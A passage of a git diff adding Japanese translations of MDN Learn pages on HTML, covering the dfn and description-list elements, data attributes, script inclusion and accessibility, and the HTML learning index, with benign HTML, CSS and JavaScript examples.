feeling blue</q></em></dd> +</dl> +</blockquote> + +<p>しかし、私たちは常に次のように非公式にキーワードを定義しています。</p> + +<blockquote> +<p><strong><dfn>Firefox</dfn></strong> は、Mozilla Foundation によって作成されたウェブブラウザです。</p> +</blockquote> + +<p>これらのユースケースに対処するために、{{Glossary("HTML")}} には説明と説明された単語をマークするための{{Glossary("tag","タグ")}}が用意されているので、読者に意味が適切に伝わるようになります。</p> + +<h2 id="How_to_mark_informal_description" name="How_to_mark_informal_description">非公式の説明をマークする方法</h2> + +<p>教科書では、キーワードが初めて出てきたときに、キーワードを太字にしてすぐに定義するのが一般的です。</p> + +<p>私たちは HTML でもそうしていますが、HTML は視覚的なメディアではないので太字を使いません。 {{htmlelement("dfn")}} は、初めて出現するキーワードをマークするための特別な要素です。 <code><dfn></code> タグは、定義ではなく定義される単語の周りにあり、定義は段落全体で構成されています。</p> + +<pre class="brush: html"><p><dfn>Firefox</dfn> は、Mozilla Foundation によって作成されたウェブブラウザです。</p> +</pre> + +<div class="note"> +<p>太字のもう1つの用途はコンテンツを強調することです。 太字自体は HTML の概念ではありませんが、<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">強調を示すタグ</a>があります。</p> +</div> + +<h3 id="Special_case_Abbreviations" name="Special_case_Abbreviations">特別な場合: 略語</h3> + +<p>{{htmlelement("abbr")}} で<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/%E9%AB%98%E5%BA%A6%E3%81%AA%E3%83%86%E3%82%AD%E3%82%B9%E3%83%88%E6%88%90%E5%9E%8B#Abbreviations">略語を特別にマーク</a>することが最適です。 これにより、スクリーンリーダーが適切に読むことができ、すべての略語を統一的に操作できるようになります。 新しいキーワードの場合と同様に、初めて出現したときに略語を定義する必要があります。</p> + +<pre class="brush: html"><p> + <dfn><abbr>HTML</abbr> (hypertext markup language、ハイパーテキストマークアップ言語)</dfn> + は、ウェブ上のドキュメントを構造化するために使用される記述言語です。 +</p></pre> + +<div class="note"> +<p>HTML 仕様は実際には略語を拡張するために <a href="http://www.w3.org/TR/html/text-level-semantics.html#the-abbr-element"><code>title</code> 属性を用意しています</a>（英語）。 ただし、これはインライン展開を提供するための許容可能な代替方法ではありません。 <code>title</code> の内容は、マウスを使用していない限り、ユーザーには完全に隠されています。 この仕様も同様に<a href="https://www.w3.org/TR/html/dom.html#the-title-attribute">これを認めています</a>（英語）。</p> +</div> + +<h3 id="Improve_accessibility" name="Improve_accessibility">アクセシビリティの向上</h3> + +<p>{{HTMLElement('dfn')}} は定義されたキーワードをマークし、現在の段落がキーワードを定義していることを示します。 言い換えれば、<code><dfn></code> 要素とそのコンテナの間に暗黙の関係があります。 より正式な関係を望む場合、または定義が段落全体ではなく1つの文で構成されている場合は、<code><a href="/ja/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby</a></code> 属性を使用して、より正式に定義に関連付けることができます。</p> + +<pre class="brush: html"><p> + <span id="ff"> + <dfn aria-describedby="ff">Firefox</dfn> + は、Mozilla Foundation によって作成されたウェブブラウザです。 + </span> + <a href="http://www.mozilla.org">mozilla.org</a> からダウンロードできます。 +</p></pre> + +<p>支援技術は、この属性を使用して、指定された用語の代替テキストを見つけることができます。 <code><dfn></code> 要素だけでなく、キーワードを囲む任意のタグで <code>aria-describedby</code> を使用して定義できます。 <code>aria-describedby</code> は、説明を含む要素の {{htmlattrxref('id')}} を参照します。</p> + +<h2 id="How_to_build_a_description_list" name="How_to_build_a_description_list">説明リストを作成する方法</h2> + +<p>説明リストは、用語とそれに対応する説明のリスト（例: 定義リスト、辞書エントリ、よくある質問、およびキーと値のペア）です。</p> + +<div class="note"> +<p>説明リストは、対話が話し手を直接記述しないため、<a href="http://www.w3.org/TR/html5/grouping-content.html#the-dl-element">対話をマークアップするのには適していません</a>（英語）。 ここには、<a href="http://www.w3.org/TR/html5/common-idioms.html#conversations">対話をマークアップするための推奨事項</a>（英語）があります。</p> +</div> + +<p>説明された用語は、{{htmlelement("dt")}} 要素内にあります。 対応する説明は直ちに続き、1つ以上の {{htmlelement("dd")}} 要素に含まれています。 説明リスト全体を {{htmlelement("dl")}} 要素で囲みます。</p> + +<h3 id="A_simple_example" name="A_simple_example">簡単な例</h3> + +<p>ここでは簡単な例として、食べ物と飲み物の種類を説明します。</p> + +<pre class="brush: html"><dl> + <dt>jambalaya</dt> + <dd> + rice-based entree typically containing chicken, + sausage, seafood, and spices + </dd> + + <dt>sukiyaki</dt> + <dd> + Japanese specialty consisting of thinly sliced meat, + vegetables, and noodles, cooked in sake and soy sauce + </dd> + + <dt>chianti</dt> + <dd> + dry Italian red wine originating in Tuscany + </dd> +</dl> +</pre> + +<div class="note"> +<p>ご覧のとおり、基本パターンは <code><dt></code> の用語を <code><dd></code> の説明で置き換えることです。 行内に2つ以上の用語が存在する場合は、以下の説明はそれらのすべてに適用されます。 行内に2つ以上の説明が存在する場合、それらはすべて最後に指定された用語に適用されます。</p> +</div> + +<h3 id="Improving_the_visual_output" name="Improving_the_visual_output">視覚的な出力を改善する</h3> + +<p>グラフィカルブラウザに前述のリストが表示される方法は次のとおりです。</p> + +<p>{{EmbedLiveSample("A_simple_example", 600, 180)}}</p> + +<p>キーワードをより際立たせたい場合は、それらを強調することができます。 HTML は視覚的な媒体ではないことを忘れないでください。 すべての視覚効果に対して {{glossary("CSS")}} が必要です。 CSS の {{cssxref("font-weight")}} プロパティは、ここで必要なものです。</p> + +<pre class="brush: css">dt { + font-weight: bold; +} +</pre> + +<p>これにより、以下のわずかに読みやすい結果が生成されます。</p> + +<p>{{EmbedLiveSample("How_to_build_a_description_list", 600, 180)}}</p> + +<h2 id="Learn_more" name="Learn_more">より詳しく知る</h2> + +<ul> + <li>{{htmlelement("dfn")}}</li> + <li>{{htmlelement("dl")}}</li> + <li>{{htmlelement("dt")}}</li> + <li>{{htmlelement("dd")}}</li> + <li><a href="/ja/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-describedby_attribute">aria-describedby 属性の使用方法</a></li> +</ul> diff --git a/files/ja/learn/html/howto/index.html b/files/ja/learn/html/howto/index.html new file mode 100644 index 0000000000..a7e7f54478 --- /dev/null +++ b/files/ja/learn/html/howto/index.html @@ -0,0 +1,141 @@ +--- +title: 一般的な問題解決に HTML を使う +slug: Learn/HTML/Howto +tags: + - CodingScripting + - HTML +translation_of: Learn/HTML/Howto +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">下記のリンクは、日常の解決すべき問題を HTML を使って解決する解決法を指しています。</p> + +<div class="column-container"> +<div class="column-half"> +<h3 id="Basic_structure" name="Basic_structure">基本構造</h3> + +<p>HTML の最も基本的な適用は文書の構造化です。HTML に慣れていないならここから始めるべきです。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Anatomy_of_an_HTML_document">基本的な HTML 文書を作成する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Web ページを論理的なセクションに分割する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#The_basics_headings_and_paragraphs">見出しと段落の適切な構成を設定する方法</a></li> +</ul> + +<h3 id="Basic_text-level_semantics" name="Basic_text-level_semantics">基本的なテキストレベルのセマンティクス</h3> + +<p>HTML は文書の意味的な情報を提供することに特化しているので、HTML 文書内でメッセージをうまく伝える方法についてあなたが抱えるかもしれない多くの質問に答えます。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists">HTML を使ってリスト項目を作成する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">コンテンツを強調する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance">テキストが重要だと示す方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/高度なテキスト成型#Representing_computer_code">HTML でコンピュータコードを表示する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#Annotating_images_with_figures_and_figure_captions">画像やグラフィックに注釈を付ける方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/高度なテキスト成型#Abbreviations">略語をマークして理解しやすくする方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/高度なテキスト成型#Quotations">Web ページに引用を追加する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Howto/Define_terms_with_HTML">HTML で用語を定義する方法</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="Hyperlinks" name="Hyperlinks">ハイパーリンク</h3> + +<p>HTML のための主な理由は {{Glossary("hyperlink", "ハイパーリンク")}}, を使ってナビゲーションを簡単にすることで、それは色々な方法で使われます:</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクを作成する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks#Active_learning_creating_a_navigation_menu">HTML を使って目次を作成する方法</a></li> +</ul> + +<h3 id="Images_multimedia" name="Images_multimedia">画像とマルチメディア</h3> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML#How_do_we_put_an_image_on_a_webpage">Web ページに画像を追加する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Web ページにビデオコンテンツを追加する方法</a></li> +</ul> + +<h3 id="Scripting_styling" name="Scripting_styling">スクリプトとスタイリング</h3> + +<p>HTML は文書の構造だけを解決します。表現の問題は {{glossary("CSS")}} を使うか、ページをインタラクティブにしたいならスクリプトを使います。</p> + +<ul> + <li><a href="/ja/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works#How_to_apply_your_CSS_to_your_HTML">Web ページで CSS を使用する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Howto/Use_JavaScript_within_a_webpage">Web ページで JavaScript を使用する方法</a></li> +</ul> + +<h3 id="Embedded_content" name="Embedded_content">埋め込みコンテンツ</h3> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">Web ページに他の Web ページを埋め込む方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies#The_<embed>_and_<object>_elements">Web ページに Flash コンテンツを追加する方法</a></li> +</ul> +</div> +</div> + +<h2 id="Uncommon_or_advanced_problems" name="Uncommon_or_advanced_problems">あまりない、または上級の問題</h2> + +<p>基本を超えると、HTML はとてもリッチで複雑な問題を解決する高度な機能を提供します。この記事は直面するかもしれないあまりないユースケースに取り組むのに役立ちます。</p> + +<div class="column-container"> +<div class="column-half"> +<h3 id="Forms" name="Forms">フォーム</h3> + +<p>フォームは、Web ページから Web サーバにデータを送信するために作成された複雑な HTML 構造です。<a href="/ja/docs/Learn/HTML/Forms">完全な専用ガイド</a>に目を通すことをお勧めします。ここから始めましょう。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">簡単な Web フォームを作成する方法</a></li> + <li><a href="/ja/docs/Web/Guide/HTML/Forms/How_to_structure_an_HTML_form">Web フォームを構築化する方法</a></li> +</ul> + +<h3 id="Tabular_information" name="Tabular_information">表の情報</h3> + +<p>表形式データという情報は、行と列のある表で整理する必要があります。これは最も複雑な HTML 構造の1つで、習得するのは簡単ではありません。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Tables/Basics">データテーブルの作り方</a></li> + <li><a href="/ja/docs/Learn/HTML/Tables/Advanced">HTML テーブルをアクセシブルにする方法</a></li> +</ul> + +<h3 id="Data_representation" name="Data_representation">データ表現</h3> + +<ul> + <li>数値とコード値をHTMLで表現する方法 - <a href="/ja/docs/Learn/HTML/Introduction_to_HTML/高度なテキスト成型#Superscript_and_subscript">上付き文字と下付き文字</a>、および<a href="/ja/docs/Learn/HTML/Introduction_to_HTML/高度なテキスト成型#Representing_computer_code">コンピュータコードの表現</a>を参照してください</li> + <li><a href="/ja/docs/Learn/HTML/Howto/Use_data_attributes">データ属性の使い方</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="Advanced_text_semantics" name="Advanced_text_semantics">上級テキストセマンティクス</h3> + +<ul> + <li><a href="/ja/docs/Web/HTML/Element/br">HTMLの改行をコントロールする方法</a></li> + <li>変更をマークする方法 (追加および削除されたテキスト) - {{htmlelement("ins")}} と {{htmlelement("del")}} 要素を参照してください</li> +</ul> + +<h3 id="Advanced_images_multimedia" name="Advanced_images_multimedia">上級の画像やマルチメディア</h3> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">レスポンシブ画像を Web ページに追加する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Web ページにベクター画像を追加する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Howto/Add_a_hit_map_on_top_of_an_image">画像の上にヒットマップを追加する方法</a></li> +</ul> + +<h3 id="Internationalization" name="Internationalization">国際化</h3> + +<p>HTML は単一言語ではありません。一般的な国際化の問題を処理するためのツールを提供します。</p> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Setting_the_primary_language_of_the_document">単一の Web ページに複数の言語を追加する方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/高度なテキスト成型#Marking_up_times_and_dates">HTML で日時を表示する方法</a></li> +</ul> + +<h3 id="パフォーマンス">パフォーマンス</h3> + +<ul> + <li><a href="/ja/docs/Web/Guide/HTML/Tips_for_authoring_fast-loading_HTML_pages">高速ロードの HTML ページを作成する方法</a></li> +</ul> +</div> +</div> + +<p><span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></p> diff --git a/files/ja/learn/html/howto/use_data_attributes/index.html b/files/ja/learn/html/howto/use_data_attributes/index.html new file mode 100644 index 0000000000..fdcaf2ade1 --- /dev/null +++ b/files/ja/learn/html/howto/use_data_attributes/index.html @@ -0,0 +1,82 @@ +--- +title: データ属性の使用 +slug: Learn/HTML/Howto/Use_data_attributes +tags: + - HTML + - HTML5 + - ウェブ + - ガイド + - 例 + - 独自データ属性 +translation_of: Learn/HTML/Howto/Use_data_attributes +--- +<div>{{LearnSidebar}}</div> + +<p><a href="/ja/docs/Web/Guide/HTML/HTML5">HTML5</a> は、特定の要素に関連付ける必要があるが、定義済みの意味を持つ必要のないデータに対する拡張性を念頭に置いて設計されています。 <a href="/ja/docs/Web/HTML/Global_attributes#attr-dataset"><code>data-*</code> 属性</a>により、標準外の属性、 DOM の追加プロパティ、 {{domxref("Node.setUserData()")}} のような特殊な方法に頼らずに、標準的な意味のある HTML 要素に追加情報を格納することができます。</p> + +<h2 id="HTML_syntax" name="HTML_syntax">HTML の構文</h2> + +<p>構文は単純です。あらゆる要素上で、名前が <code>data-</code> で始まるあらゆる属性がデータ属性です。例えば、記事 (article) があり、視覚表現を行わない追加情報を格納したいとします。 <code>data</code> 属性を使用するとこれだけです。</p> + +<pre class="brush: html"><article + id="electric-cars" + data-columns="3" + data-index-number="12314" + data-parent="cars"> +... +</article></pre> + +<h2 id="JavaScript_access" name="JavaScript_access">JavaScript からのアクセス</h2> + +<p><a href="/ja/docs/Web/JavaScript">JavaScript</a> でこれらの属性の値を読み出すことも、とても簡単です。 {{domxref("Element.getAttribute", "getAttribute()")}} で完全な HTML での名前を使用して読むこともできますが、もっと簡単な方法が標準で定義されています。 {{domxref("HTMLElement.dataset", "dataset")}} プロパティを通して {{domxref("DOMStringMap")}} で読み出すことができます。</p> + +<p><code>dataset</code> オブジェクトを通して <code>data</code> 属性を取得するには、属性名の <code>data-</code> より後の部分を使用して取得します (なお、ダッシュは camelCase に変換されます)。</p> + +<pre class="brush: js">const article = document.getElementById('electric-cars'); + +article.dataset.columns // "3" +article.dataset.indexNumber // "12314" +article.dataset.parent // "cars"</pre> + +<p>それぞれのプロパティは文字列であり、読み書きができます。上記の場合、 <code>article.dataset.columns = 5</code> を設定すると、その属性が <code>"5"</code> に変わります。</p> + +<h2 id="CSS_access" name="CSS_access">CSS からのアクセス</h2> + +<p>データ属性はプレーンな HTML 属性であるため、<a href="/ja/docs/Web/CSS">CSS</a> からもアクセスできることに注意してください。 例えば、記事の親データを表示するには、次のように {{cssxref("attr")}} 関数を使用して CSS で<a href="/ja/docs/Web/CSS/content">生成したコンテンツ</a>を使用できます。</p> + +<pre class="brush: css">article::before { + content: attr(data-parent); +}</pre> + +<p>CSS の<a href="/ja/docs/Web/CSS/Attribute_selectors">属性セレクタ</a>を使用して、次のようにデータに応じてスタイルを変更することもできます。</p> + +<pre class="brush: css">article[data-columns='3'] { + width: 400px; +} +article[data-columns='4'] { + width: 600px; +}</pre> + +<p><a href="https://jsbin.com/ujiday/2/edit">この JSBin の例</a>では、これらすべてが一緒に機能していることがわかります。</p> + +<p>データ属性を保存して、ゲームのスコアなど、絶えず変化する情報を含めることもできます。 ここで CSS セレクタと JavaScript アクセスを使用すると、独自の表示ルーチンを作成することなく、気の利いたエフェクトを作成できます。 生成したコンテンツと CSS トランジション（transition、遷移）を使用した例については、<a href="https://www.youtube.com/watch?v=On_WyUB1gOk">このスクリーンキャスト</a>を参照してください（<a href="https://jsbin.com/atawaz/3/edit">JSBin の例</a>）。</p> + +<p>データ値は文字列です。 スタイリングを有効にするには、セレクタで数値を引用符で囲む必要があります。</p> + +<h2 id="Issues" name="Issues">問題</h2> + +<p>支援技術がアクセスできない可能性があるため、データ属性に表示およびアクセス可能なコンテンツを保存しないでください。 さらに、検索クローラーはデータ属性の値にインデックスを付けない場合があります。</p> + +<p>考慮すべき主な問題は、Internet Explorer のサポートとパフォーマンスです。 Internet Explorer 11 以降は標準のサポートを提供しますが、以前のバージョンはすべて <a href="https://caniuse.com/#feat=dataset"><code>dataset</code> をサポートしていません</a>（英語）。 IE 10 以下をサポートするには、代わりに {{domxref("Element.getAttribute", "getAttribute()")}} を使用してデータ属性にアクセスする必要があります。 また、通常の JS オブジェクトにこのデータを保存する場合と比較して、<a href="https://jsperf.com/data-dataset">データ属性の読み取りパフォーマンス</a>（英語）が低下します。</p> + +<p>ただし、カスタム要素に関連付けられたメタデータの場合、それらは優れたソリューションです。</p> + +<p>Firefox 49.0.2（およびおそらくそれに前後したバージョン）では、1022 文字を超えるデータ属性は Javascript（EcmaScript 4）によって読み取られません。</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>この記事は、<a href="https://hacks.mozilla.org/2012/10/using-data-attributes-in-javascript-and-css/">hacks.mozilla.org の JavaScript および CSS でのデータ属性の使用</a>（英語）から改編されました。</li> + <li>カスタム属性は SVG 2 でもサポートされています。 詳細については、{{domxref("SVGElement.dataset")}} および {{SVGAttr("data-*")}} を参照してください。</li> + <li><a href="https://www.sitepoint.com/use-html5-data-attributes/">HTML5 データ属性の使用方法</a>（Sitepoint、英語）</li> +</ul> diff --git a/files/ja/learn/html/howto/use_javascript_within_a_webpage/index.html b/files/ja/learn/html/howto/use_javascript_within_a_webpage/index.html new file mode 100644 index 0000000000..598818ab3d --- /dev/null +++ b/files/ja/learn/html/howto/use_javascript_within_a_webpage/index.html @@ -0,0 +1,107 @@ +--- +title: ウェブページで JavaScript を使う方法 +slug: Learn/HTML/Howto/Use_JavaScript_within_a_webpage +tags: + - Beginner + - HTML + - JavaScript + - OpenPractices +translation_of: Learn/HTML/Howto/Use_JavaScript_within_a_webpage +--- +<div class="summary"> +<p>Take your webpages to the next level by harnessing JavaScript. Learn in this article how to trigger JavaScript right from your HTML documents.</p> +</div> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja//Learn/HTML/Write_a_simple_page_in_HTML">基本的な HTML 文書の作成</a>方法を習熟している必要があります。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>HTMLファイルからJavaScript を起動する方法と、JavaScript にアクセスできるようにする最も良い習慣を学ぶ。</td> + </tr> + </tbody> +</table> + +<h2 id="About_JavaScript" name="About_JavaScript">JavaScript について</h2> + +<p>{{Glossary("JavaScript")}} はウェブページをインタラクティブにするための、主にクライアントサイドで使われるプログラミング言語です。 JavaScript を使わなくてもすばらしいウェブページを作ることが<em>できます</em>が、JavaScript は全く新しいレベルの可能性を開きます。</p> + +<div class="note"> +<p>In this article we're going over the HTML code you need to make JavaScript take effect. If you want to learn JavaScript itself, you can start with our <a href="/ja//Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript basics</a> article. If you already know something about JavaScript or if you have a background with other プログラミング言語s, we suggest you jump directly into our <a href="/ja//docs/Web/JavaScript/Guide">JavaScript Guide</a>.</p> +</div> + +<h2 id="How_to_trigger_JavaScript_from_HTML" name="How_to_trigger_JavaScript_from_HTML">HTML から JavaScript を起動する方法</h2> + +<p>Within a browser, JavaScript doesn't do anything by itself. You run JavaScript from inside your HTML webpages. To call JavaScript code from within HTML, you need the {{htmlelement("script")}} element. There are two ways to use <code>script</code>, depending on whether you're linking to an external script or embedding a script right in your webpage.</p> + +<h3 id="Linking_an_external_script" name="Linking_an_external_script">Linking an external script</h3> + +<p>Usually, you'll be writing scripts in their own .js files. If you want to execute a .js script from your webpage, just use {{HTMLElement ('script')}} with an <code>src</code> attribute pointing to the script file, using its <a href="/ja//Learn/Understanding_URLs">URL</a>:</p> + +<pre class="brush: html"><script src="path/to/my/script.js"></script></pre> + +<div class="note"> +<p><strong>Pro tip:</strong> In many cases it's a good idea to put your {{HTMLElement('script')}} elements at the end of your HTML document (right before the <code></body></code> closing {{Glossary("tag")}}).</p> + +<p>Loading and running scripts is blocking and immediate. That means, every time the browser comes across a <code><script></code> element, the browser stops reading the HTML and instead loads and runs the script. The browser continues reading and rendering the HTML code after running the script.</p> + +<p>When you put {{htmlelement("script")}} elements at the end, you don't run the risk of manipulating {{Glossary("DOM")}} nodes that are not yet initialized. In addition, your webpages will finish displaying faster.</p> +</div> + +<h3 id="Writing_JavaScript_within_HTML" name="Writing_JavaScript_within_HTML">Writing JavaScript within HTML</h3> + +<p>You may also add JavaScript code between <code><script></code> tags rather than providing an <code>src</code> attribute.</p> + +<pre class="brush: html"><script> +window.addEventListener('load', function () { + console.log('This function is executed once the page is fully loaded'); +}); +</script></pre> + +<p>That's convenient when you just need a small bit of JavaScript, but if you keep JavaScript in separate files you'll find it easier to</p> + +<ul> + <li>focus on your work</li> + <li>write self-sufficient HTML</li> + <li>write structured JavaScript applications</li> +</ul> + +<h2 id="Use_scripting_accessibly" name="Use_scripting_accessibly">Use scripting accessibly</h2> + +<p>Accessibility is a major issue in any software development. JavaScript can make your website more accessible if you use it wisely, or it can become a disaster if you use scripting without care. To make JavaScript work in your favor, it's worth knowing about certain best practices for adding JavaScript:</p> + +<ul> + <li><strong>Make all content available as (structured) text.</strong> Rely on HTML for your content as much as possible. 例えば、 if you've implemented a nice JavaScript progress bar, make sure to supplement it with matching text percentages inside the HTML. Likewise, your drop-down menus should be structured as <a href="/ja//Learn/HTML/Howto/Create_list_of_items_with_HTML">unordered lists</a> of <a href="/ja//Learn/HTML/Howto/Create_a_hyperlink">links</a>.</li> + <li><strong>Make all functionality accessible from the keyboard.</strong> + <ul> + <li>Let users Tab through all controls (e.g., links and form input) in a logical order.</li> + <li>If you use pointer events (like mouse events or touch events), duplicate the functionality with keyboard events.</li> + <li>Test your site using a keyboard only.</li> + </ul> + </li> + <li><strong>Don't set nor even guess time limits.</strong> It takes extra time to navigate with the keyboard or hear content read out. You can hardly ever predict just how long it will take for users or browsers to complete an process (especially asynchronous actions such as loading resources).</li> + <li><strong>Keep animations subtle and brief with no flashing.</strong> Flashing is annoying and can <a href="http://www.w3.org/TR/UNDERSTANDING-WCAG20/seizure-does-not-violate.html">cause seizures</a>. Additionally, if an animation lasts more than a couple seconds, give the user a way to cancel it.</li> + <li><strong>Let users initiate interactions.</strong> That means, don't update content, redirect, or refresh automatically. Don't use carousels or display popups without warning.</li> + <li><strong>Have a plan B for users without JavaScript.</strong> People may have JavaScript turned off to improve speed and security, and users often face network issues that prevent loading scripts. Moreover, third-party scripts (ads, tracking scripts, browser extensions) might break your scripts. + <ul> + <li>At a minimum, leave a short message with {{HTMLElement("noscript")}} like this: <code><noscript>To use this site, please enable JavaScript.</noscript></code></li> + <li>Ideally, replicate the JavaScript functionality with HTML and server-side scripting when possible.</li> + <li>If you're only looking for simple visual effects, CSS can often get the job done even more intuitively.</li> + <li> + <p><em>Since almost everybody <strong>does</strong> have JavaScript enabled, <code><noscript></code> is no excuse for writing inaccessible scripts.</em></p> + </li> + </ul> + </li> +</ul> + +<h2 id="Learn_more" name="Learn_more">Learn more</h2> + +<ul> + <li>{{htmlelement("script")}}</li> + <li>{{htmlelement("noscript")}}</li> + <li><a href="http://www.sitepoint.com/javascript-accessibility-101/">James Edwards' introduction to using JavaScript accessibly</a></li> + <li><a href="http://www.w3.org/TR/WCAG20/">Accessibility guidelines from W3C</a></li> +</ul> diff --git a/files/ja/learn/html/index.html b/files/ja/learn/html/index.html new file mode 100644 index 0000000000..fa11f9e2b9 --- /dev/null +++ b/files/ja/learn/html/index.html @@ -0,0 +1,61 @@ +--- +title: 'HTML の学習: ガイドとチュートリアル' +slug: Learn/HTML +tags: + - Beginner + - Guide + - HTML + - Intro + - Learn + - Topic + - ガイド + - トピック + - 初心者 + - 学習 + - 導入 +translation_of: Learn/HTML +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">ウェブサイトを構築するためには、ウェブページの構造を定義するための基本的な技術である {{Glossary('HTML')}} 言語を知っておくべきでしょう。 HTML はウェブコンテンツをどのよう解釈するべきかを特定するために使用します。段落、リスト、見出し、リンク、画像、マルチメディアプレーヤー、フォーム、又は他の数多くの要素の一つ、又はユーザーが定義した新しい要素などです。</p> + +<h2 id="Learning_pathway" name="Learning_pathway">学習経路</h2> + +<p>HTML 学習を学びの旅の起点にすることが理想的です。<a href="/docs/Web/Guide/HTML/Introduction">HTML 概論</a>を読んでみましょう。さらに学びたいと思ったなら、次は以下のような内容に移ることになるでしょう。</p> + +<ul> + <li><a href="/docs/Learn/CSS">CSS</a>、またそれを用いて、どうやって HTML の様式を整えるか。(例えば、文字の様式やサイズを適用したり、線で囲んだり、影をつけたり、ページをカラムでレイアウトしたり、アニメをつけたりすることができます。）</li> + <li><a href="/docs/Learn/JavaScript">JavaScript</a>、またそれを用いて、ウェブページをいかにして動的な機能を付け加えるか。(例えば、地図上にあなたの位置をプロットしたり、UI エレメントをボタン操作で、現れるようにしたり、隠すようにしたり、コンピュータ上にユーザーのデータを保存したり、その他いろいろなことができます。）</li> +</ul> + +<p>このトピックを開始する前に、最低限コンピュータを利用することに慣れておくべきでしょう。また、ウェブを受け手の側から、利用すること（つまり、ただ見たり、コンテンツを消費したりすること）にも慣れておくべきでしょう。また基本的な作業環境のセットアップもしておくべきでしょう。細かい話は、 <a href="/docs/Learn/Getting_started_with_the_web/Installing_basic_software">基本的なソフトウェアをインストールする</a>や、 <a href="/docs/Learn/Getting_started_with_the_web/Dealing_with_files">ファイルを扱う</a>に書かれています。今あげた二つの内容は、<a href="/docs/Learn/Getting_started_with_the_web">Web 入門</a>という初心者向けの章に含まれています。</p> + +<p>今回のトピックに入る前に、 <a href="/docs/Learn/Getting_started_with_the_web">ウェブ入門</a>を一読しておくことをお薦めします。けれども、絶対にそうしておく必要があるというわけではありません。 <a href="/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML の基礎</a>の記事でカバーされている大体の内容は、 <a href="/docs/Learn/HTML/Introduction_to_HTML">HTML 概論</a>の記事でもカバーされています。ただこちらのほうが、より詳細な記事になっています。</p> + +<h2 id="Modules" name="Modules">モジュール</h2> + +<p>このトピックは、以下の内容を含んでいます。そして、それらは、学んでいくのに好ましい順番で並んでいます。上から順番に学んでいくのが望ましいでしょう。</p> + +<dl> + <dt><a href="/docs/Learn/HTML/Introduction_to_HTML">HTML 概論</a></dt> + <dd>この章では、土台作りをします。ここで、あなたはHTMLの重要な概念や構文に慣れたり、HTML を文章に適用していくのを見たり、どうやってハイパーリンクができるのか、HTML がウェブページを作るためにどのように利用されるのかを学ぶことになります。</dd> + <dt><a href="/docs/Learn/HTML/Multimedia_and_embedding">マルチメディアと埋め込み</a></dt> + <dd>この章では、 HTML を使ってどうやったら、あなたのウェブページにマルチメディアを導入できるかを学びます。画像を取り込むためのいくつかのやり方、ビデオや音声、さらに、ウェブページそのものを埋め込む方法もここで学びます。</dd> + <dt><a href="/docs/Learn/HTML/Tables">HTML 表</a></dt> + <dd>ウェブページ上の表形式のデータを理解しやすく{{glossary("Accessibility", "アクセスしやすい")}}方法で表現することは難しいことです。このモジュールでは、基本的な表のマークアップと、キャプションやサマリーの実装などのより複雑な機能をカバーしています。</dd> + <dt><a href="/docs/Learn/HTML/Forms">HTML フォーム</a></dt> + <dd>フォームはウェブのとても重要な部分です。これらはウェブサイトとのやりとりに必要な多くの機能を提供します。登録とログイン、フィードバックの送信、商品の購入などが含まれます。このモジュールでは、フォームのクライアント側部分の作成を始めます。</dd> +</dl> + +<h2 id="Solving_common_HTML_problems" name="Solving_common_HTML_problems">よくある HTML の問題の解決</h2> + +<p><a href="/docs/Learn/HTML/Howto">共通の問題解決に HTML を使う</a> 「基本的な問題を解決するために HTML を使う」では、ウェブページを作った時に出てくる一般的な問題をどうやって解決するかを説明するためのコンテンツのセクションへのリンクを提示します。タイトルの扱い方や、画像やビデオを加えたり、コンテンツを強調したり、基本的なフォームを作ったりします。</p> + +<h2 id="See_also" 